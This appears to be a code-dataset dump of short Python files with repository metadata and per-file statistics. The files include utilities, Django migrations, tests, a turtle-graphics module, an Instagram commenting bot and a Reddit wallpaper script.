super().__... | 18.878788 | 43 | 0.544944 | 142 | 1,246 | 4.704225 | 0.394366 | 0.053892 | 0.053892 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.360353 | 1,246 | 65 | 44 | 19.169231 | 0.838143 | 0.032905 | 0 | 0.106383 | 0 | 0 | 0.004988 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.170213 | false | 0.06383 | 0.12766 | 0 | 0.382979 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b5913a9cb235f8d0707df68f9171ff05c9b0c7aa | 232 | py | Python | 2.4 lcm.py | rahul263-stack/PROJECT-Dump | d8b1cfe0da8cad9fe2f3bbd427334b979c7d2c09 | [
"MIT"
] | 1 | 2020-04-06T04:41:56.000Z | 2020-04-06T04:41:56.000Z | 2.4 lcm.py | rahul263-stack/quarantine | d8b1cfe0da8cad9fe2f3bbd427334b979c7d2c09 | [
"MIT"
] | null | null | null | 2.4 lcm.py | rahul263-stack/quarantine | d8b1cfe0da8cad9fe2f3bbd427334b979c7d2c09 | [
"MIT"
] | null | null | null | # Python3
a, b = [int(i) for i in input().split()]
def euclid_gcd(a, b):
if b == 0:
return a
c = a%b
return euclid_gcd(b, c)
if a>b:
gcd = euclid_gcd(a, b)
else:
gcd = euclid_gcd(b, a)
print(a*b//gcd) | 14.5 | 40 | 0.534483 | 46 | 232 | 2.608696 | 0.391304 | 0.1 | 0.166667 | 0.183333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012195 | 0.293103 | 232 | 16 | 41 | 14.5 | 0.719512 | 0.030172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0 | 0 | 0.272727 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b59341fea7f0dca1f065a80700c550e7ea708375 | 711 | py | Python | environments/__init__.py | electronicarts/character-motion-vaes | d8ff62f3a9f7fd330ebd797df3e7f8f7ec7c3816 | [
"BSD-3-Clause"
] | 132 | 2021-03-12T18:45:19.000Z | 2022-03-28T16:54:33.000Z | environments/__init__.py | electronicarts/character-motion-vaes | d8ff62f3a9f7fd330ebd797df3e7f8f7ec7c3816 | [
"BSD-3-Clause"
] | 5 | 2021-03-14T08:41:32.000Z | 2022-01-29T21:58:22.000Z | environments/__init__.py | electronicarts/character-motion-vaes | d8ff62f3a9f7fd330ebd797df3e7f8f7ec7c3816 | [
"BSD-3-Clause"
] | 13 | 2021-03-16T13:06:20.000Z | 2021-12-29T11:57:38.000Z | import os
current_dir = os.path.dirname(os.path.realpath(__file__))
import gym
from gym.envs.registration import registry, make, spec
def register(id, *args, **kvargs):
if id in registry.env_specs:
return
else:
return gym.envs.registration.register(id, *args, **kvargs)
register(id="RandomW... | 33.857143 | 84 | 0.773558 | 92 | 711 | 5.804348 | 0.391304 | 0.131086 | 0.11236 | 0.224719 | 0.308989 | 0.308989 | 0 | 0 | 0 | 0 | 0 | 0.007764 | 0.094233 | 711 | 20 | 85 | 35.55 | 0.821429 | 0 | 0 | 0 | 0 | 0 | 0.353024 | 0.250352 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.214286 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b59346ae49540ddec35f1665aa5dcc8cc4da2da0 | 471 | py | Python | libya_elections/tests/test_schedule.py | SmartElect/SmartElect | d6d35f2fa8f60e756ad5247f8f0a5f05830e92f8 | [
"Apache-2.0"
] | 23 | 2015-10-28T14:08:23.000Z | 2021-09-11T21:38:41.000Z | libya_elections/tests/test_schedule.py | SmartElect/SmartElect | d6d35f2fa8f60e756ad5247f8f0a5f05830e92f8 | [
"Apache-2.0"
] | 4 | 2019-12-05T20:36:10.000Z | 2020-06-05T18:41:54.000Z | libya_elections/tests/test_schedule.py | SmartElect/SmartElect | d6d35f2fa8f60e756ad5247f8f0a5f05830e92f8 | [
"Apache-2.0"
] | 11 | 2015-10-28T15:49:56.000Z | 2021-09-14T14:18:36.000Z | import datetime
from django.test import TestCase
from libya_elections.utils import at_noon
class ScheduleTest(TestCase):
def test_at_noon(self):
# at_noon returns a datetime with the right values
dt = datetime.datetime(1970, 2, 3, 4, 5, 6, 7)
result = at_noon(dt)
self.assertEqual(... | 29.4375 | 58 | 0.685775 | 65 | 471 | 4.876923 | 0.569231 | 0.07571 | 0.15142 | 0.208202 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041096 | 0.225053 | 471 | 15 | 59 | 31.4 | 0.827397 | 0.101911 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.363636 | 1 | 0.090909 | false | 0 | 0.272727 | 0 | 0.454545 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5977a635ec36409ea956827d6f1116885b0d8e3 | 7,030 | py | Python | bot_instagram.py | Lucas-Okamura/Instagram-Bot | e5e515f55a351c20add2389723dbbef452dc371b | [
"MIT"
] | 1 | 2020-08-24T20:05:13.000Z | 2020-08-24T20:05:13.000Z | bot_instagram.py | Lucas-Okamura/Instagram-Bot | e5e515f55a351c20add2389723dbbef452dc371b | [
"MIT"
] | null | null | null | bot_instagram.py | Lucas-Okamura/Instagram-Bot | e5e515f55a351c20add2389723dbbef452dc371b | [
"MIT"
] | null | null | null | from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import random
import pandas as pd
import os
class InstagramBot:
def __init__(self, username, password, function, url, num_people=1):
'''
Bot that comment on photos on Instagram
Args:
usern... | 32.546296 | 187 | 0.52845 | 765 | 7,030 | 4.729412 | 0.266667 | 0.037313 | 0.032338 | 0.036761 | 0.224433 | 0.18408 | 0.15644 | 0.127695 | 0.043671 | 0.020453 | 0 | 0.010849 | 0.383784 | 7,030 | 215 | 188 | 32.697674 | 0.824331 | 0.233997 | 0 | 0.243902 | 0 | 0 | 0.076494 | 0.01494 | 0 | 0 | 0 | 0 | 0 | 1 | 0.056911 | false | 0.065041 | 0.04878 | 0 | 0.113821 | 0.04878 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b5a768c1e95c0cadc94391b379feeeb1bdde832a | 560 | py | Python | babyonboard/api/migrations/0007_breathing_status.py | BabyOnBoard/BabyOnBoard-API | eef34bf4e9649409a3158d6826432acb040afa32 | [
"MIT"
] | null | null | null | babyonboard/api/migrations/0007_breathing_status.py | BabyOnBoard/BabyOnBoard-API | eef34bf4e9649409a3158d6826432acb040afa32 | [
"MIT"
] | 10 | 2017-11-23T18:28:11.000Z | 2021-06-10T19:53:06.000Z | babyonboard/api/migrations/0007_breathing_status.py | BabyOnBoard/BabyOnBoard-API | eef34bf4e9649409a3158d6826432acb040afa32 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2017-12-02 20:04
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0006_auto_20171126_1433'),
]
operations = [
migrations.AddField(
... | 26.666667 | 162 | 0.621429 | 61 | 560 | 5.52459 | 0.754098 | 0.065282 | 0.118694 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081019 | 0.228571 | 560 | 20 | 163 | 28 | 0.699074 | 0.121429 | 0 | 0 | 1 | 0 | 0.206544 | 0.047035 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5ab0cc6d56f4bb448790870183992c30226988d | 405 | py | Python | home/migrations/0012_team_title.py | nurpeiis/RED | 0e1f61488f79283749ec11b5d0e5b066dd02bd68 | [
"MIT"
] | null | null | null | home/migrations/0012_team_title.py | nurpeiis/RED | 0e1f61488f79283749ec11b5d0e5b066dd02bd68 | [
"MIT"
] | 12 | 2019-02-03T07:54:32.000Z | 2022-03-11T23:33:19.000Z | home/migrations/0012_team_title.py | nurpeiis/RED | 0e1f61488f79283749ec11b5d0e5b066dd02bd68 | [
"MIT"
] | 2 | 2018-12-28T11:38:17.000Z | 2019-09-11T22:45:04.000Z | # Generated by Django 2.1.3 on 2019-05-05 07:38
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('home', '0011_remove_team_position'),
]
operations = [
migrations.AddField(
model_name='team',
name='title',
... | 21.315789 | 75 | 0.604938 | 45 | 405 | 5.311111 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071672 | 0.276543 | 405 | 18 | 76 | 22.5 | 0.744027 | 0.111111 | 0 | 0 | 1 | 0 | 0.142458 | 0.069832 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5b10a9848f882ce50edffdefcb5be881ccbdc3f | 347 | py | Python | p029.py | jorgemira/euler-py | 20406c7accd85e5c917c08cd739134e47d1c5e2f | [
"Apache-2.0"
] | null | null | null | p029.py | jorgemira/euler-py | 20406c7accd85e5c917c08cd739134e47d1c5e2f | [
"Apache-2.0"
] | null | null | null | p029.py | jorgemira/euler-py | 20406c7accd85e5c917c08cd739134e47d1c5e2f | [
"Apache-2.0"
] | null | null | null | '''Problem 29 from project Euler: Distinct powers
https://projecteuler.net/problem=29'''
RESULT = 9183
def solve():
'''Main function'''
vals = set()
limit = 100
for i in xrange(2, limit + 1):
for j in xrange(2, limit + 1):
vals.add(i**j)
return len(vals)
if __name__ == '__... | 16.52381 | 49 | 0.579251 | 48 | 347 | 4.020833 | 0.6875 | 0.093264 | 0.093264 | 0.145078 | 0.15544 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059524 | 0.273775 | 347 | 20 | 50 | 17.35 | 0.706349 | 0 | 0 | 0 | 0 | 0 | 0.033333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5b4862f7fdb7c41318549c096be4b0001eba966 | 109,366 | py | Python | ColabTurtlePlus/Turtle.py | mathriddle/MyColabTurtle | 214fe35d617689c65276045d2ff8a15bb5afbe0f | [
"MIT"
] | 1 | 2021-07-15T01:02:15.000Z | 2021-07-15T01:02:15.000Z | ColabTurtlePlus/Turtle.py | mathriddle/MyColabTurtle | 214fe35d617689c65276045d2ff8a15bb5afbe0f | [
"MIT"
] | 1 | 2021-07-15T01:11:26.000Z | 2021-09-24T01:06:45.000Z | ColabTurtlePlus/Turtle.py | mathriddle/MyColabTurtle | 214fe35d617689c65276045d2ff8a15bb5afbe0f | [
"MIT"
] | null | null | null | from IPython.display import display, HTML
import time
import math
import re
import sys
import inspect
"""
Original Created at: 23rd October 2018
by: Tolga Atam
v2.1.0 Updated at: 15th March 2021
by: Tolga Atam
Module for drawing classic Turtle figures on Google Colab notebooks.
It uses html capabilit... | 44.206144 | 1,897 | 0.586517 | 13,776 | 109,366 | 4.563589 | 0.097706 | 0.015111 | 0.010689 | 0.011071 | 0.461857 | 0.407998 | 0.35091 | 0.307024 | 0.275387 | 0.260005 | 0 | 0.03235 | 0.297917 | 109,366 | 2,473 | 1,898 | 44.224019 | 0.786362 | 0.309328 | 0 | 0.335256 | 0 | 0.026676 | 0.179058 | 0.031544 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075703 | false | 0 | 0.004326 | 0.005047 | 0.14708 | 0.001442 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5b7e6c47eafcf7703a0e022d44052d760708267 | 2,346 | py | Python | test/run_registration.py | wjchen84/rapprentice | 9232a6a21e2c80f00854912f07dcdc725b0be95a | [
"BSD-2-Clause"
] | 23 | 2015-08-25T19:40:18.000Z | 2020-12-27T09:23:06.000Z | test/run_registration.py | wjchen84/rapprentice | 9232a6a21e2c80f00854912f07dcdc725b0be95a | [
"BSD-2-Clause"
] | null | null | null | test/run_registration.py | wjchen84/rapprentice | 9232a6a21e2c80f00854912f07dcdc725b0be95a | [
"BSD-2-Clause"
] | 8 | 2016-05-18T20:13:06.000Z | 2020-11-03T16:09:50.000Z | import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--group")
args = parser.parse_args()
import yaml
import numpy as np
from lfd import registration, tps
import os.path as osp
tps.VERBOSE=False
np.seterr(all='raise')
np.set_printoptions(precision=3)
def axisanglepart(m):
if np.linalg.det(... | 36.092308 | 130 | 0.617221 | 369 | 2,346 | 3.791328 | 0.373984 | 0.008578 | 0.012866 | 0.030021 | 0.1594 | 0.130808 | 0.130808 | 0.092209 | 0.075768 | 0 | 0 | 0.037652 | 0.230179 | 2,346 | 64 | 131 | 36.65625 | 0.736988 | 0.01364 | 0 | 0 | 0 | 0 | 0.059282 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.134615 | null | null | 0.173077 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a90b6c7a5acda4657cfa1d865f79e1eaf7650120 | 1,701 | py | Python | django/apps/attachment/migrations/0006_auto_20200509_1151.py | wykys/project-thesaurus | f700396b30ed44e6b001c15397a25450ac068af4 | [
"MIT"
] | null | null | null | django/apps/attachment/migrations/0006_auto_20200509_1151.py | wykys/project-thesaurus | f700396b30ed44e6b001c15397a25450ac068af4 | [
"MIT"
] | 93 | 2020-05-19T18:14:12.000Z | 2022-03-29T00:26:39.000Z | django/apps/attachment/migrations/0006_auto_20200509_1151.py | wykys/project-thesaurus | f700396b30ed44e6b001c15397a25450ac068af4 | [
"MIT"
] | 1 | 2020-11-21T20:24:35.000Z | 2020-11-21T20:24:35.000Z | # Generated by Django 3.0.6 on 2020-05-09 11:51
import django.contrib.postgres.fields
from django.db import migrations, models
import apps.attachment.models.attachment
class Migration(migrations.Migration):
dependencies = [
('attachment', '0005_auto_20200507_2306'),
]
operations = [
mig... | 53.15625 | 439 | 0.661376 | 185 | 1,701 | 5.945946 | 0.427027 | 0.043636 | 0.054545 | 0.073636 | 0.330909 | 0.330909 | 0.245455 | 0.245455 | 0.245455 | 0.245455 | 0 | 0.026969 | 0.171664 | 1,701 | 31 | 440 | 54.870968 | 0.753726 | 0.026455 | 0 | 0.28 | 1 | 0 | 0.333132 | 0.060459 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.12 | 0 | 0.24 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a90c404f04036069bd2082d181651a2189166074 | 2,788 | py | Python | tests/test_valve.py | rdehuyss/showerloop | 1a9bd9069886f698b5e2ddf6125469eabb050014 | [
"MIT"
] | 12 | 2018-08-02T13:40:22.000Z | 2022-03-01T09:08:32.000Z | tests/test_valve.py | rdehuyss/showerloop | 1a9bd9069886f698b5e2ddf6125469eabb050014 | [
"MIT"
] | null | null | null | tests/test_valve.py | rdehuyss/showerloop | 1a9bd9069886f698b5e2ddf6125469eabb050014 | [
"MIT"
] | 1 | 2020-10-24T13:11:13.000Z | 2020-10-24T13:11:13.000Z | import math
import os
import time
from unittest import TestCase
import mock
from tests.StubTimer import StubTimer
from tests.StubUTime import StubUTime
class TestValve(TestCase):
def setUp(self):
self.mock_machine = mock.Mock()
self.mock_utime = StubUTime()
self.mock_machine.Timer.return... | 36.684211 | 126 | 0.694763 | 413 | 2,788 | 4.457627 | 0.230024 | 0.10755 | 0.048886 | 0.082564 | 0.528517 | 0.503531 | 0.463335 | 0.326453 | 0.243889 | 0.240087 | 0 | 0.022809 | 0.197991 | 2,788 | 75 | 127 | 37.173333 | 0.800537 | 0.039096 | 0 | 0.267857 | 0 | 0 | 0.025421 | 0 | 0 | 0 | 0 | 0.013333 | 0.303571 | 1 | 0.160714 | false | 0 | 0.142857 | 0 | 0.339286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a90d8ca252bf2267c50c432c7ac883793403748f | 7,085 | py | Python | clustering.py | audy/clump | e0715fa0d1f1ef4cf2cdd39531aa82d323474665 | [
"MIT"
] | null | null | null | clustering.py | audy/clump | e0715fa0d1f1ef4cf2cdd39531aa82d323474665 | [
"MIT"
] | null | null | null | clustering.py | audy/clump | e0715fa0d1f1ef4cf2cdd39531aa82d323474665 | [
"MIT"
] | null | null | null | #!/usr/local/bin/python
import sys
import Pycluster as pc
from pylab import *
from collections import defaultdict
colors = ('green',
'blue',
'orange',
'cyan',
'magenta',
'red',
'yellow',
'pink',
'purple',
'brown')
def main():
"""docstring fo... | 27.784314 | 73 | 0.500494 | 857 | 7,085 | 4.061844 | 0.231039 | 0.059753 | 0.052858 | 0.022407 | 0.461936 | 0.423729 | 0.396725 | 0.370009 | 0.321172 | 0.321172 | 0 | 0.021629 | 0.36048 | 7,085 | 255 | 74 | 27.784314 | 0.746634 | 0.033169 | 0 | 0.363095 | 0 | 0 | 0.081563 | 0.005313 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.005952 | 0.02381 | null | null | 0.017857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a916d3cf1a3dfecb0957b149dfe4924022d506c7 | 472 | py | Python | cryptidy/__init__.py | netinvent/cryptidy | 091e8100787f43a8457944030f96dc0c4c7d798f | [
"BSD-3-Clause"
] | null | null | null | cryptidy/__init__.py | netinvent/cryptidy | 091e8100787f43a8457944030f96dc0c4c7d798f | [
"BSD-3-Clause"
] | null | null | null | cryptidy/__init__.py | netinvent/cryptidy | 091e8100787f43a8457944030f96dc0c4c7d798f | [
"BSD-3-Clause"
] | null | null | null | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of cryptidy module
"""
The cryptidy module wraps PyCrpytodome(x) functions into simple
symmetric and asymmetric functions
"""
__intname__ = "cryptidy"
__author__ = "Orsiris de Jong"
__copyright__ = "Copyright (C) 2018-2021 Orsiris de Jong"
__descri... | 24.842105 | 83 | 0.739407 | 60 | 472 | 5.35 | 0.816667 | 0.087227 | 0.080997 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057644 | 0.154661 | 472 | 18 | 84 | 26.222222 | 0.746867 | 0.381356 | 0 | 0 | 0 | 0 | 0.540925 | 0 | 0 | 0 | 0 | 0.055556 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9183d49bf73710dff21d0bf9ba6860835767866 | 5,323 | pyw | Python | change_desktop.pyw | vlouvet/change_desktopy | b0ec2b829126221514a6ec6c3306a22ef20703a8 | [
"MIT"
] | null | null | null | change_desktop.pyw | vlouvet/change_desktopy | b0ec2b829126221514a6ec6c3306a22ef20703a8 | [
"MIT"
] | 1 | 2019-04-13T14:47:06.000Z | 2019-04-14T13:22:31.000Z | change_desktop.pyw | vlouvet/change_desktopy | b0ec2b829126221514a6ec6c3306a22ef20703a8 | [
"MIT"
] | null | null | null | import praw
import ctypes
import shutil
import requests
import requests_cache
from PIL import Image
import os
import io
requests_cache.install_cache('bg_cache')
filepath = "reddit.creds.txt"
with open(filepath, "r") as fin:
client_id = fin.readline().replace("\n", "")
# TODO: update code to accept... | 42.927419 | 115 | 0.507233 | 540 | 5,323 | 4.909259 | 0.335185 | 0.037344 | 0.018861 | 0.037722 | 0.195398 | 0.164466 | 0.164466 | 0.152018 | 0.065258 | 0.049793 | 0 | 0.014624 | 0.396205 | 5,323 | 123 | 116 | 43.276423 | 0.810205 | 0.122863 | 0 | 0.20202 | 0 | 0 | 0.082966 | 0 | 0 | 0 | 0 | 0.00813 | 0 | 1 | 0.050505 | false | 0.070707 | 0.080808 | 0 | 0.171717 | 0.070707 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a92c71e28235d4a2efca0061d489e377536349be | 322 | py | Python | distrib/kotlin_kernel/detect_jars_location.py | strangepleasures/kotlin-jupyter | 01b5d4327422919305a7538e331cee7e3762fe49 | [
"Apache-2.0"
] | 512 | 2019-11-28T08:39:23.000Z | 2022-03-31T01:49:27.000Z | distrib/kotlin_kernel/detect_jars_location.py | strangepleasures/kotlin-jupyter | 01b5d4327422919305a7538e331cee7e3762fe49 | [
"Apache-2.0"
] | 177 | 2019-12-03T17:50:21.000Z | 2022-03-17T11:58:01.000Z | distrib/kotlin_kernel/detect_jars_location.py | erokhins/kotlin-jupyter | 895528926ab14f0f2d15fcbc8a88b0ea1259632a | [
"Apache-2.0"
] | 66 | 2019-12-21T20:35:53.000Z | 2022-02-14T21:34:25.000Z | import os
from typing import AnyStr
from run_kotlin_kernel.run_kernel import module_install_path
def detect_jars_location() -> None:
run_kernel_path = module_install_path()
jars_dir: AnyStr = os.path.join(run_kernel_path, "jars")
print(str(jars_dir))
if __name__ == "__main__":
detect_jars_location(... | 21.466667 | 60 | 0.757764 | 47 | 322 | 4.659574 | 0.489362 | 0.123288 | 0.155251 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152174 | 322 | 14 | 61 | 23 | 0.802198 | 0 | 0 | 0 | 0 | 0 | 0.037267 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.444444 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
a9303881f52bbb7f52abc64facc0144ae2221c86 | 2,073 | py | Python | test.py | ypraveen/barchart-ondemand-client-python | 2224aef0d60b0fa66974fe909fb1a856c146f61e | [
"MIT"
] | 66 | 2017-07-25T04:02:59.000Z | 2022-02-24T21:15:10.000Z | test.py | ypraveen/barchart-ondemand-client-python | 2224aef0d60b0fa66974fe909fb1a856c146f61e | [
"MIT"
] | 6 | 2017-09-04T18:05:54.000Z | 2020-11-19T22:32:43.000Z | test.py | ypraveen/barchart-ondemand-client-python | 2224aef0d60b0fa66974fe909fb1a856c146f61e | [
"MIT"
] | 23 | 2017-08-28T18:18:14.000Z | 2021-11-13T06:41:52.000Z | """
python test.py my-api-key
"""
import ondemand
import sys
od = ondemand.OnDemandClient(api_key=sys.argv[1])
od.debug = True
# Get that Crypto
resp = od.crypto('^BTCUSD,^LTCUSD')
print('')
print(resp)
print('')
# Get a Quote
resp = od.quote('AAPL', 'bid,ask')
print('')
print(resp)
print('')
... | 20.939394 | 72 | 0.639653 | 246 | 2,073 | 5.349594 | 0.430894 | 0.077508 | 0.128419 | 0.148176 | 0.036474 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008499 | 0.148577 | 2,073 | 98 | 73 | 21.153061 | 0.73711 | 0.150507 | 0 | 0.459016 | 0 | 0 | 0.245432 | 0.03106 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.032787 | 0 | 0.032787 | 0.672131 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
a931b52e06e6999322f4b50a1f8d242014570def | 198 | py | Python | instabot/random_utils.py | gioelecrispo/instabot | ab0fa919cddbc6767327ce2d8e366438b8807761 | [
"Apache-2.0"
] | 1 | 2019-11-17T03:03:04.000Z | 2019-11-17T03:03:04.000Z | instabot/random_utils.py | gioelecrispo/instabot | ab0fa919cddbc6767327ce2d8e366438b8807761 | [
"Apache-2.0"
] | null | null | null | instabot/random_utils.py | gioelecrispo/instabot | ab0fa919cddbc6767327ce2d8e366438b8807761 | [
"Apache-2.0"
] | null | null | null | import random
def choose_random(values, k=1):
if len(values) < k:
k = len(values)
results = random.choices(values, k=k)
if k == 1:
return results[0]
return results
| 18 | 41 | 0.590909 | 29 | 198 | 4 | 0.448276 | 0.181034 | 0.137931 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021429 | 0.292929 | 198 | 10 | 42 | 19.8 | 0.807143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a93a4d9b6bed301ebae7d372b616b0296d0f4625 | 6,816 | py | Python | library/tetration_application_query.py | chrivand/ansible-module | 219b14e1219b97c181a9ec8bf3e2bc35702b0cb7 | [
"MIT"
] | 6 | 2021-03-18T19:27:03.000Z | 2021-09-10T10:26:15.000Z | library/tetration_application_query.py | chrivand/ansible-module | 219b14e1219b97c181a9ec8bf3e2bc35702b0cb7 | [
"MIT"
] | 3 | 2021-04-06T07:30:40.000Z | 2021-04-29T17:00:29.000Z | library/tetration_application_query.py | chrivand/ansible-module | 219b14e1219b97c181a9ec8bf3e2bc35702b0cb7 | [
"MIT"
] | 4 | 2021-04-02T10:08:15.000Z | 2021-11-16T01:26:28.000Z | ANSIBLE_METADATA = {
'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'
}
DOCUMENTATION = '''
---
module: tetration_application_query
short_description: Search the application api for scope id's or details
version_added: '2.9'
description:
